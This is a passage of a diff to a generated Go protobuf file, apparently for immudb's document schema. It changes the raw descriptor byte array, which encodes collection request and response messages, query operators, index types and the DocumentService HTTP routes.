0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5b, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, + 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, + 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, + 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, + 0x65, 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, + 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, + 0xe8, 0x01, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, + 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x59, 0x0a, + 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x3b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, @@ -1758,196 +1790,174 @@ var file_documentschema_proto_rawDesc = []byte{ 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, - 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xe8, 0x01, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, - 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, - 0x6d, 0x65, 0x12, 0x59, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, - 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x65, 0x0a, 0x15, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x22, 0x2a, 0x0a, 0x14, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, + 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x17, 0x0a, + 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x68, 0x0a, 0x16, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x12, 0x4e, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, + 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x60, 0x0a, - 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, - 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, - 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, - 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, - 0x65, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, - 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x2a, 0x0a, 0x14, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, - 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, - 0x6d, 0x65, 0x22, 0x17, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x68, 0x0a, 0x16, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4e, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, - 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2d, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x96, 0x02, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, - 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, - 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, - 0x12, 0x5e, 0x0a, 0x0a, 0x61, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x02, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x22, 0x2d, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, + 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, + 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, + 0x1a, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, + 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x96, 0x02, 0x0a, 0x17, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5e, 0x0a, 0x0a, 0x61, + 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x3e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, + 0x41, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, + 0x0a, 0x61, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, + 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, + 0x28, 0x09, 0x52, 0x0d, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, + 0x73, 0x1a, 0x61, 0x0a, 0x0f, 0x41, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, + 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x2e, 0x41, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x61, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, - 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, - 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0d, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x49, - 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x1a, 0x61, 0x0a, 0x0f, 0x41, 0x64, 0x64, 0x49, 0x6e, 0x64, - 0x65, 0x78, 0x65, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2a, 0x49, + 0x0a, 0x0d, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, + 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, + 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, + 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, + 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x2a, 0x30, 0x0a, 0x09, 0x49, 0x6e, 0x64, + 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, + 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x01, 0x12, + 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x32, 0xc7, 0x0c, 0x0a, 0x0f, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, + 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, + 0x72, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, + 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x2c, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, + 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, + 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, + 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 